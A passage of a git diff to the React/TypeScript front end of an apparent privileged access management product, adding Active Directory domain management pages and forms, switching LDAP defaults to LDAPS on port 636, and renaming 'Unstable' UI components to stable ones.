           gateway: undefined,
           connectionDetails: {
             domain: "",
             dcAddress: "",
-            port: 389,
-            useLdaps: false,
+            port: 636,
+            useLdaps: true,
             ldapRejectUnauthorized: true,
             ldapCaCert: "",
             ldapTlsServerName: ""
@@ -111,11 +112,7 @@ export const ActiveDirectoryResourceForm = ({ resource, onSubmit, closeSheet }:
               <Field>
                 <FieldLabel>Domain</FieldLabel>
                 <FieldContent>
-                  <UnstableInput
-                    {...field}
-                    isError={Boolean(error)}
-                    placeholder="corp.example.com"
-                  />
+                  <Input {...field} isError={Boolean(error)} placeholder="corp.example.com" />
                   <FieldError errors={[error]} />
                 </FieldContent>
               </Field>
@@ -129,7 +126,7 @@ export const ActiveDirectoryResourceForm = ({ resource, onSubmit, closeSheet }:
                 <Field className="flex-1">
                   <FieldLabel>DC Address</FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       isError={Boolean(error)}
                       placeholder="10.0.1.10 or dc.corp.example.com"
@@ -146,7 +143,7 @@ export const ActiveDirectoryResourceForm = ({ resource, onSubmit, closeSheet }:
                 <Field className="w-28">
                   <FieldLabel>Port</FieldLabel>
                   <FieldContent>
-                    <UnstableInput type="number" {...field} isError={Boolean(error)} />
+                    <Input type="number" {...field} isError={Boolean(error)} />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
@@ -237,7 +234,7 @@ export const ActiveDirectoryResourceForm = ({ resource, onSubmit, closeSheet }:
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       placeholder="dc.corp.example.com"
                       disabled={!useLdaps || !ldapRejectUnauthorized}
@@ -257,7 +254,7 @@ export const ActiveDirectoryResourceForm = ({ resource, onSubmit, closeSheet }:
             variant="neutral"
             type="submit"
           >
-            {isUpdate ? "Update Details" : "Create Resource"}
+            {isUpdate ? "Update Details" : "Create Domain"}
           </Button>
           <Button onClick={closeSheet} variant="outline" className="mr-auto" type="button">
             Cancel
diff --git a/frontend/src/pages/pam/PamDomainsPage/components/PamDomainForm/PamDomainForm.tsx b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainForm/PamDomainForm.tsx
new file mode 100644
index 00000000000..1adfcc08846
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainForm/PamDomainForm.tsx
@@ -0,0 +1,127 @@
+import { createNotification } from "@app/components/notifications";
+import {
+  PAM_DOMAIN_TYPE_MAP,
+  PamDomainType,
+  TPamDomain,
+  useCreatePamDomain,
+  useUpdatePamDomain
+} from "@app/hooks/api/pamDomain";
+
+import { PamDomainHeader } from "../PamDomainHeader";
+import { ActiveDirectoryDomainForm } from "./ActiveDirectoryDomainForm";
+
+type FormProps = {
+  closeSheet: (domain?: TPamDomain) => void;
+} & ({ domain: TPamDomain } | { domainType: PamDomainType });
+
+type CreateFormProps = FormProps & {
+  domainType: PamDomainType;
+  projectId: string;
+};
+
+type UpdateFormProps = FormProps & {
+  domain: TPamDomain;
+};
+
+const CreateForm = ({ domainType, closeSheet, projectId }: CreateFormProps) => {
+  const createPamDomain = useCreatePamDomain();
+  const { name: domainName } = PAM_DOMAIN_TYPE_MAP[domainType];
+
+  const onSubmit = async (
+    formData: Record<string, unknown> & {
+      name: string;
+      gateway?: { id: string; name: string } | null;
+      gatewayId?: string;
+      connectionDetails: unknown;
+      metadata?: { key: string; value: string }[];
+    }
+  ) => {
+    const { gateway, ...rest } = formData;
+    const domain = await createPamDomain.mutateAsync({
+      ...rest,
+      domainType,
+      projectId,
+      gatewayId: gateway?.id ?? rest.gatewayId!,
+      connectionDetails: rest.connectionDetails as TPamDomain["connectionDetails"],
+      metadata: rest.metadata
+    });
+    createNotification({
+      text: `Successfully created ${domainName} domain`,
+      type: "success"
+    });
+    closeSheet(domain);
+  };
+
+  switch (domainType) {
+    case PamDomainType.ActiveDirectory:
+      return (
+        <ActiveDirectoryDomainForm onSubmit={onSubmit as any} closeSheet={closeSheet as any} />
+      );
+    default:
+      throw new Error(`Unhandled domain type: ${domainType}`);
+  }
+};
+
+const UpdateForm = ({ domain, closeSheet }: UpdateFormProps) => {
+  const updatePamDomain = useUpdatePamDomain();
+  const { name: domainName } = PAM_DOMAIN_TYPE_MAP[domain.domainType];
+
+  const onSubmit = async (
+    formData: Record<string, unknown> & {
+      name?: string;
+      gateway?: { id: string; name: string } | null;
+      gatewayId?: string;
+      connectionDetails?: unknown;
+      metadata?: { key: string; value: string }[];
+    }
+  ) => {
+    const { gateway, ...rest } = formData;
+    const updatedDomain = await updatePamDomain.mutateAsync({
+      domainId: domain.id,
+      domainType: domain.domainType,
+      ...rest,
+      gatewayId: gateway?.id ?? rest.gatewayId,
+      connectionDetails: rest.connectionDetails as TPamDomain["connectionDetails"],
+      metadata: rest.metadata
+    });
+    createNotification({
+      text: `Successfully updated ${domainName} domain`,
+      type: "success"
+    });
+    closeSheet(updatedDomain);
+  };
+
+  switch (domain.domainType) {
+    case PamDomainType.ActiveDirectory:
+      return (
+        <ActiveDirectoryDomainForm
+          domain={domain}
+          onSubmit={onSubmit as any}
+          closeSheet={closeSheet as any}
+        />
+      );
+    default:
+      throw new Error(`Unhandled domain type: ${domain.domainType}`);
+  }
+};
+
+type Props = { onBack?: () => void; projectId: string } & Pick<FormProps, "closeSheet"> &
+  (
+    | { domainType: PamDomainType; domain?: undefined }
+    | { domainType?: undefined; domain: TPamDomain }
+  );
+
+export const PamDomainForm = ({ onBack, projectId, ...props }: Props) => {
+  const { domain, domainType } = props;
+
+  return (
+    <div className="flex min-h-0 flex-1 flex-col overflow-hidden">
+      <PamDomainHeader domainType={domainType || domain.domainType} onBack={onBack} />
+      {domain ? (
+        <UpdateForm {...props} domain={domain} />
+      ) : (
+        <CreateForm {...props} domainType={domainType} projectId={projectId} />
+      )}
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainsPage/components/PamDomainHeader.tsx b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainHeader.tsx
new file mode 100644
index 00000000000..7d03e6b5e97
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainHeader.tsx
@@ -0,0 +1,35 @@
+import { PencilIcon } from "lucide-react";
+
+import { Button, Label } from "@app/components/v3";
+import { PAM_DOMAIN_TYPE_MAP, PamDomainType } from "@app/hooks/api/pamDomain";
+
+type Props = {
+  domainType: PamDomainType;
+  onBack?: () => void;
+};
+
+export const PamDomainHeader = ({ domainType, onBack }: Props) => {
+  const details = PAM_DOMAIN_TYPE_MAP[domainType];
+
+  return (
+    <div className="flex w-full items-center gap-2.5 border-b border-border p-3">
+      {details?.image && (
+        <img
+          alt={`${details.name} logo`}
+          src={`/images/integrations/${details.image}`}
+          className="size-9"
+        />
+      )}
+      <div className="flex w-full flex-col gap-1">
+        <Label>{details?.name || domainType}</Label>
+        <p className="text-xs text-muted">Domain</p>
+      </div>
+      {onBack && (
+        <Button size="xs" variant="neutral" onClick={onBack}>
+          <PencilIcon />
+          Change
+        </Button>
+      )}
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainsPage/components/PamDomainsSection.tsx b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainsSection.tsx
new file mode 100644
index 00000000000..5f39bd013a3
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainsSection.tsx
@@ -0,0 +1,8 @@
+import { useProject } from "@app/context";
+
+import { PamDomainsTable } from "./PamDomainsTable";
+
+export const PamDomainsSection = () => {
+  const { currentProject } = useProject();
+  return <PamDomainsTable projectId={currentProject.id} />;
+};
diff --git a/frontend/src/pages/pam/PamDomainsPage/components/PamDomainsTable.tsx b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainsTable.tsx
new file mode 100644
index 00000000000..db0e80d7a16
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/components/PamDomainsTable.tsx
@@ -0,0 +1,244 @@
+import { faMagnifyingGlass } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { useNavigate } from "@tanstack/react-router";
+import { format } from "date-fns";
+import { EllipsisVerticalIcon, PlusIcon, TrashIcon } from "lucide-react";
+
+import { createNotification } from "@app/components/notifications";
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { DeleteActionModal, Input } from "@app/components/v2";
+import {
+  Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
+import { ProjectPermissionActions, ProjectPermissionSub, useOrganization } from "@app/context";
+import { usePagination, usePopUp, useResetPageHelper } from "@app/hooks";
+import {
+  PAM_DOMAIN_TYPE_MAP,
+  type TPamDomain,
+  useDeletePamDomain,
+  useListPamDomains
+} from "@app/hooks/api/pamDomain";
+
+import { PamAddDomainModal } from "./PamAddDomainModal";
+
+type Props = {
+  projectId: string;
+};
+
+export const PamDomainsTable = ({ projectId }: Props) => {
+  const navigate = useNavigate();
+  const { currentOrg } = useOrganization();
+
+  const { popUp, handlePopUpOpen, handlePopUpToggle, handlePopUpClose } = usePopUp([
+    "addDomain",
+    "deleteDomain"
+  ] as const);
+
+  const { search, debouncedSearch, setSearch, setPage, page, perPage, setPerPage, offset } =
+    usePagination("", { initPerPage: 20 });
+
+  const { data, isPending } = useListPamDomains({
+    projectId,
+    offset,
+    limit: perPage,
+    search: debouncedSearch || undefined
+  });
+
+  const domains = data?.domains || [];
+  const totalCount = data?.totalCount || 0;
+
+  useResetPageHelper({ totalCount, offset, setPage });
+
+  const deleteMutation = useDeletePamDomain();
+
+  const handleDelete = async () => {
+    const domain = popUp.deleteDomain.data as TPamDomain;
+    if (!domain) return;
+    try {
+      await deleteMutation.mutateAsync({
+        domainId: domain.id,
+        domainType: domain.domainType
+      });
+      createNotification({ text: "Domain deleted", type: "success" });
+      handlePopUpClose("deleteDomain");
+    } catch {
+      createNotification({ text: "Failed to delete domain", type: "error" });
+    }
+  };
+
+  return (
+    <div>
+      <div className="flex gap-2">
+        <Input
+          value={search}
+          onChange={(e) => setSearch(e.target.value)}
+          leftIcon={<FontAwesomeIcon icon={faMagnifyingGlass} />}
+          placeholder="Search domains..."
+          className="h-full flex-1"
+          containerClassName="h-9"
+        />
+        <ProjectPermissionCan
+          I={ProjectPermissionActions.Create}
+          a={ProjectPermissionSub.PamDomains}
+        >
+          {(isAllowed) => (
+            <Button
+              variant="project"
+              onClick={() => handlePopUpOpen("addDomain")}
+              isDisabled={!isAllowed}
+            >
+              <PlusIcon />
+              Add Domain
+            </Button>
+          )}
+        </ProjectPermissionCan>
+      </div>
+
+      <div className="mt-4">
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Name</TableHead>
+              <TableHead>Type</TableHead>
+              <TableHead>Created</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {isPending && (
+              <TableRow>
+                <TableCell colSpan={4} className="text-center text-muted">
+                  Loading domains...
+                </TableCell>
+              </TableRow>
+            )}
+            {!isPending && domains.length === 0 && (
+              <TableRow>
+                <TableCell colSpan={4}>
+                  <Empty className="border-0 bg-transparent py-8 shadow-none">
+                    <EmptyHeader>
+                      <EmptyTitle>{search ? "No domains match search" : "No domains"}</EmptyTitle>
+                    </EmptyHeader>
+                  </Empty>
+                </TableCell>
+              </TableRow>
+            )}
+            {!isPending &&
+              domains.map((domain) => {
+                const typeInfo =
+                  PAM_DOMAIN_TYPE_MAP[domain.domainType as keyof typeof PAM_DOMAIN_TYPE_MAP];
+                return (
+                  <TableRow
+                    key={domain.id}
+                    className="group cursor-pointer"
+                    onClick={() =>
+                      navigate({
+                        to: "/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId",
+                        params: {
+                          orgId: currentOrg.id,
+                          projectId,
+                          domainType: domain.domainType,
+                          domainId: domain.id
+                        }
+                      })
+                    }
+                  >
+                    <TableCell>
+                      <div className="flex items-center gap-3">
+                        {typeInfo?.image && (
+                          <img
+                            alt={typeInfo.name}
+                            src={`/images/integrations/${typeInfo.image}`}
+                            className="size-5"
+                          />
+                        )}
+                        <span className="font-medium">{domain.name}</span>
+                      </div>
+                    </TableCell>
+                    <TableCell className="text-muted">
+                      {typeInfo?.name || domain.domainType}
+                    </TableCell>
+                    <TableCell className="text-muted">
+                      {format(new Date(domain.createdAt), "MMM d, yyyy HH:mm")}
+                    </TableCell>
+                    <TableCell>
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <IconButton
+                            variant="ghost"
+                            size="xs"
+                            onClick={(e) => e.stopPropagation()}
+                          >
+                            <EllipsisVerticalIcon />
+                          </IconButton>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent sideOffset={2} align="end">
+                          <ProjectPermissionCan
+                            I={ProjectPermissionActions.Delete}
+                            a={ProjectPermissionSub.PamDomains}
+                          >
+                            {(isAllowed) => (
+                              <DropdownMenuItem
+                                isDisabled={!isAllowed}
+                                variant="danger"
+                                onClick={(e) => {
+                                  e.stopPropagation();
+                                  handlePopUpOpen("deleteDomain", domain);
+                                }}
+                              >
+                                <TrashIcon className="size-4" />
+                                Delete
+                              </DropdownMenuItem>
+                            )}
+                          </ProjectPermissionCan>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </TableCell>
+                  </TableRow>
+                );
+              })}
+          </TableBody>
+        </Table>
+        {Boolean(totalCount) && !isPending && (
+          <Pagination
+            count={totalCount}
+            page={page}
+            perPage={perPage}
+            onChangePage={setPage}
+            onChangePerPage={setPerPage}
+          />
+        )}
+      </div>
+
+      <PamAddDomainModal
+        isOpen={popUp.addDomain.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("addDomain", isOpen)}
+        projectId={projectId}
+      />
+
+      <DeleteActionModal
+        isOpen={popUp.deleteDomain.isOpen}
+        title={`Delete domain "${(popUp.deleteDomain.data as TPamDomain)?.name}"?`}
+        subTitle="This will permanently remove this domain. Associated resources will be unlinked but not deleted."
+        onChange={(isOpen) => handlePopUpToggle("deleteDomain", isOpen)}
+        deleteKey={(popUp.deleteDomain.data as TPamDomain)?.name || "confirm"}
+        onDeleteApproved={handleDelete}
+      />
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainsPage/route.tsx b/frontend/src/pages/pam/PamDomainsPage/route.tsx
new file mode 100644
index 00000000000..86fd067f4f8
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainsPage/route.tsx
@@ -0,0 +1,26 @@
+import { createFileRoute } from "@tanstack/react-router";
+import { zodValidator } from "@tanstack/zod-adapter";
+import { z } from "zod";
+
+import { PamDomainsPage } from "./PamDomainsPage";
+
+export const Route = createFileRoute(
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/"
+)({
+  validateSearch: zodValidator(
+    z.object({
+      search: z.string().optional()
+    })
+  ),
+  beforeLoad: ({ context }) => {
+    return {
+      breadcrumbs: [
+        ...context.breadcrumbs,
+        {
+          label: "Domains"
+        }
+      ]
+    };
+  },
+  component: PamDomainsPage
+});
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/PamResourceByIDPage.tsx b/frontend/src/pages/pam/PamResourceByIDPage/PamResourceByIDPage.tsx
index 87490100125..44d8a43b599 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/PamResourceByIDPage.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/PamResourceByIDPage.tsx
@@ -10,14 +10,14 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, Tab, TabList, TabPanel, Tabs } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstablePageLoader
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  PageLoader
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useOrganization } from "@app/context";
 import {
@@ -35,7 +35,6 @@ import {
   PamResourceDependenciesSection,
   PamResourceDetailsSection,
   PamResourceMetadataSection,
-  PamResourceRelatedResourcesSection,
   PamResourceRotationPolicySection,
   PamResourceSessionRecordingSection,
   PamRotationPolicyModal,
@@ -86,20 +85,20 @@ const PageContent = () => {
   const updateResource = useUpdatePamResource();
 
   if (isPending) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   if (!resource) {
     return (
       <div className="flex h-full w-full items-center justify-center px-20">
-        <UnstableEmpty className="max-w-2xl">
-          <UnstableEmptyHeader>
+        <Empty className="max-w-2xl">
+          <EmptyHeader>
             <BanIcon className="size-8 text-muted" />
-            <UnstableEmptyTitle className="text-muted">
+            <EmptyTitle className="text-muted">
               Could not find PAM Resource with ID {resourceId}
-            </UnstableEmptyTitle>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyTitle>
+          </EmptyHeader>
+        </Empty>
       </div>
     );
   }
@@ -161,24 +160,24 @@ const PageContent = () => {
           </div>
         </div>
         <div className="flex items-center gap-3">
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger asChild>
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
               <Button variant="outline" size="sm">
                 <EllipsisVerticalIcon />
               </Button>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="end" sideOffset={2}>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end" sideOffset={2}>
               <ProjectPermissionCan
                 I={ProjectPermissionActions.Edit}
                 a={ProjectPermissionSub.PamResources}
               >
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={() => setIsEditModalOpen(true)}
                     isDisabled={!isAllowed}
                   >
                     Edit Resource
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </ProjectPermissionCan>
               <ProjectPermissionCan
@@ -186,17 +185,17 @@ const PageContent = () => {
                 a={ProjectPermissionSub.PamResources}
               >
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={() => setIsDeleteModalOpen(true)}
                     variant="danger"
                     isDisabled={!isAllowed}
                   >
                     Delete Resource
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </ProjectPermissionCan>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+            </DropdownMenuContent>
+          </DropdownMenu>
         </div>
       </div>
 
@@ -229,9 +228,6 @@ const PageContent = () => {
               {resource.resourceType === PamResourceType.Windows && (
                 <Tab value="dependencies">Dependencies</Tab>
               )}
-              {resource.resourceType === PamResourceType.ActiveDirectory && (
-                <Tab value="related-resources">Related Resources</Tab>
-              )}
             </TabList>
             <TabPanel value="accounts">
               <PamResourceAccountsSection resource={resource} />
@@ -241,11 +237,6 @@ const PageContent = () => {
                 <PamResourceDependenciesSection resource={resource} />
               </TabPanel>
             )}
-            {resource.resourceType === PamResourceType.ActiveDirectory && (
-              <TabPanel value="related-resources">
-                <PamResourceRelatedResourcesSection resource={resource} />
-              </TabPanel>
-            )}
           </Tabs>
         </div>
       </div>
diff --git a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceAccountsSection.tsx b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceAccountsSection.tsx
index 8452da8951d..1a6f43f8aaf 100644
--- a/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceAccountsSection.tsx
+++ b/frontend/src/pages/pam/PamResourceByIDPage/components/PamResourceAccountsSection.tsx
@@ -21,32 +21,29 @@ import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Button as V2Button,
-  DropdownMenu,
-  DropdownMenuContent,
-  DropdownMenuTrigger,
   IconButton as V2IconButton,
   Input as V2Input
 } from "@app/components/v2";
 import {
   Badge,
   Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionSub, useOrganization } from "@app/context";
 import { ProjectPermissionPamAccountActions } from "@app/context/ProjectPermissionContext/types";
@@ -55,13 +52,13 @@ import { ApprovalPolicyType, useCheckPolicyMatch } from "@app/hooks/api/approval
 import {
   PamAccountRotationStatus,
   PamResourceType,
-  TActiveDirectoryAccount,
   TPamAccount,
   TPamResource,
   TWindowsAccount,
   useListPamAccounts
 } from "@app/hooks/api/pam";
 import { useManualRotateAccount } from "@app/hooks/api/pam/mutations";
+import { PamDomainType, useGetPamDomainById } from "@app/hooks/api/pamDomain";
 import {
   MetadataFilterEntry,
   MetadataFilterSection
@@ -69,28 +66,24 @@ import {
 
 import { PamAccessAccountModal } from "../../PamAccountsPage/components/PamAccessAccountModal";
 import { PamAddAccountModal } from "../../PamAccountsPage/components/PamAddAccountModal";
+import { PamAwsIamAccessReasonModal } from "../../PamAccountsPage/components/PamAwsIamAccessReasonModal";
 import { PamDeleteAccountModal } from "../../PamAccountsPage/components/PamDeleteAccountModal";
 import { PamRequestAccountAccessModal } from "../../PamAccountsPage/components/PamRequestAccountAccessModal";
 import { PamUpdateAccountModal } from "../../PamAccountsPage/components/PamUpdateAccountModal";
-import { useAccessAwsIamAccount } from "../../PamAccountsPage/components/useAccessAwsIamAccount";
 
 type Props = {
   resource: TPamResource;
 };
 
-const hasAccountType = (resourceType: PamResourceType) =>
-  resourceType === PamResourceType.Windows || resourceType === PamResourceType.ActiveDirectory;
+const hasAccountType = (resourceType: PamResourceType) => resourceType === PamResourceType.Windows;
 
 const hasAccountsWithDependencies = (resourceType: PamResourceType) =>
-  resourceType === PamResourceType.Windows || resourceType === PamResourceType.ActiveDirectory;
+  resourceType === PamResourceType.Windows;
 
 const getAccountType = (account: TPamAccount): string | undefined => {
-  if (account.resource.resourceType === PamResourceType.Windows) {
+  if (account.resource?.resourceType === PamResourceType.Windows) {
     return (account as TWindowsAccount).internalMetadata?.accountType;
   }
-  if (account.resource.resourceType === PamResourceType.ActiveDirectory) {
-    return (account as TActiveDirectoryAccount).internalMetadata?.accountType;
-  }
   return undefined;
 };
 
@@ -100,23 +93,24 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
   const params = useParams({ strict: false }) as { projectId?: string };
   const { projectId } = params;
 
-  const { accessAwsIam, loadingAccountId } = useAccessAwsIamAccount();
   const { mutateAsync: checkPolicyMatch } = useCheckPolicyMatch();
   const manualRotate = useManualRotateAccount();
 
   const [search, setSearch] = useState("");
   const [debouncedSearch] = useDebounce(search);
   const [rotatingAccountIds, setRotatingAccountIds] = useState<Set<string>>(new Set());
+  const [accessReason, setAccessReason] = useState<string | undefined>(undefined);
 
   const [pendingMetadataEntries, setPendingMetadataEntries] = useState<MetadataFilterEntry[]>([]);
   const [appliedMetadataEntries, setAppliedMetadataEntries] = useState<MetadataFilterEntry[]>([]);
 
-  const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp([
+  const { popUp, handlePopUpOpen, handlePopUpToggle, handlePopUpClose } = usePopUp([
     "addAccount",
     "accessAccount",
     "requestAccount",
     "updateAccount",
-    "deleteAccount"
+    "deleteAccount",
+    "awsIamReason"
   ] as const);
 
   const isTableFiltered = Boolean(appliedMetadataEntries.some((e) => e.key.trim()));
@@ -134,12 +128,19 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
     setAppliedMetadataEntries([]);
   };
 
+  const { data: domainData } = useGetPamDomainById(
+    PamDomainType.ActiveDirectory,
+    resource.domainId || undefined,
+    { enabled: !!resource.domainId }
+  );
+
   const hasRotatingAccounts = rotatingAccountIds.size > 0;
 
   const { data: accountsData, isPending } = useListPamAccounts(
     {
       projectId: projectId!,
       filterResourceIds: resource.id,
+      filterDomainIds: resource.domainId || undefined,
       search: debouncedSearch || undefined,
       metadataFilter: appliedMetadataEntries.filter((e) => e.key.trim()).length
         ? appliedMetadataEntries
@@ -195,16 +196,29 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
   );
 
   const handleAccountClick = (account: TPamAccount) => {
-    navigate({
-      to: "/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId",
-      params: {
-        orgId: currentOrg.id,
-        projectId: projectId!,
-        resourceType: resource.resourceType,
-        resourceId: resource.id,
-        accountId: account.id
-      }
-    });
+    if (account.domainId && account.domain) {
+      navigate({
+        to: "/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId",
+        params: {
+          orgId: currentOrg.id,
+          projectId: projectId!,
+          domainType: account.domain.domainType,
+          domainId: account.domainId,
+          accountId: account.id
+        }
+      });
+    } else {
+      navigate({
+        to: "/organizations/$orgId/projects/pam/$projectId/resources/$resourceType/$resourceId/accounts/$accountId",
+        params: {
+          orgId: currentOrg.id,
+          projectId: projectId!,
+          resourceType: resource.resourceType,
+          resourceId: resource.id,
+          accountId: account.id
+        }
+      });
+    }
   };
 
   const handleRotateAccount = async (accountId: string) => {
@@ -258,8 +272,8 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
       return;
     }
 
-    if (account.resource.resourceType === PamResourceType.AwsIam) {
-      accessAwsIam(account);
+    if (account.resource?.resourceType === PamResourceType.AwsIam) {
+      handlePopUpOpen("awsIamReason", { account });
     } else {
       handlePopUpOpen("accessAccount", { account });
     }
@@ -354,22 +368,22 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
             </DropdownMenuContent>
           </DropdownMenu>
         </div>
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead>Account Name</UnstableTableHead>
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Account Name</TableHead>
               {hasAccountsWithDependencies(resource.resourceType) && (
-                <UnstableTableHead>Dependencies</UnstableTableHead>
+                <TableHead>Dependencies</TableHead>
               )}
-              {hasAccountType(resource.resourceType) && <UnstableTableHead>Type</UnstableTableHead>}
-              <UnstableTableHead>Last Rotated</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              {hasAccountType(resource.resourceType) && <TableHead>Type</TableHead>}
+              <TableHead>Last Rotated</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {isPending && (
-              <UnstableTableRow>
-                <UnstableTableCell
+              <TableRow>
+                <TableCell
                   colSpan={
                     3 +
                     (hasAccountType(resource.resourceType) ? 1 : 0) +
@@ -378,29 +392,29 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
                   className="text-center text-muted"
                 >
                   Loading accounts...
-                </UnstableTableCell>
-              </UnstableTableRow>
+                </TableCell>
+              </TableRow>
             )}
             {!isPending && accounts.length === 0 && (
-              <UnstableTableRow>
-                <UnstableTableCell
+              <TableRow>
+                <TableCell
                   colSpan={
                     3 +
                     (hasAccountType(resource.resourceType) ? 1 : 0) +
                     (hasAccountsWithDependencies(resource.resourceType) ? 1 : 0)
                   }
                 >
-                  <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                    <UnstableEmptyHeader>
-                      <UnstableEmptyTitle>
+                  <Empty className="border-0 bg-transparent py-8 shadow-none">
+                    <EmptyHeader>
+                      <EmptyTitle>
                         {debouncedSearch || isTableFiltered
                           ? "No accounts match your search"
                           : "No accounts found"}
-                      </UnstableEmptyTitle>
-                    </UnstableEmptyHeader>
-                  </UnstableEmpty>
-                </UnstableTableCell>
-              </UnstableTableRow>
+                      </EmptyTitle>
+                    </EmptyHeader>
+                  </Empty>
+                </TableCell>
+              </TableRow>
             )}
             {accounts.map((account) => {
               const isAwsIamAccount = resource.resourceType === PamResourceType.AwsIam;
@@ -418,12 +432,12 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
                 : undefined;
 
               return (
-                <UnstableTableRow
+                <TableRow
                   key={account.id}
                   className="group cursor-pointer"
                   onClick={() => handleAccountClick(account)}
                 >
-                  <UnstableTableCell>
+                  <TableCell>
                     <div className="flex items-center gap-3">
                       <Tooltip disableHoverableContent>
                         <TooltipTrigger>
@@ -439,6 +453,12 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
                         )}
                       </Tooltip>
 
+                      {account.resourceId !== resource.id && domainData && (
+                        <Badge variant="info" className="text-xs">
+                          {domainData.connectionDetails.domain}
+                        </Badge>
+                      )}
+
                       {!account.credentialsConfigured && (
                         <Badge variant="warning" className="text-xs">
                           <KeyRoundIcon className="size-3" />
@@ -446,18 +466,18 @@ export const PamResourceAccountsSection = ({ resource }: Props) => {
                         </Badge>
                       )}
                     </div>
-                  </UnstableTableCell>
+                  </TableCell>
                   {hasAccountsWithDependencies(resource.resourceType) && (
-                    <UnstableTableCell>
+                    <TableCell>
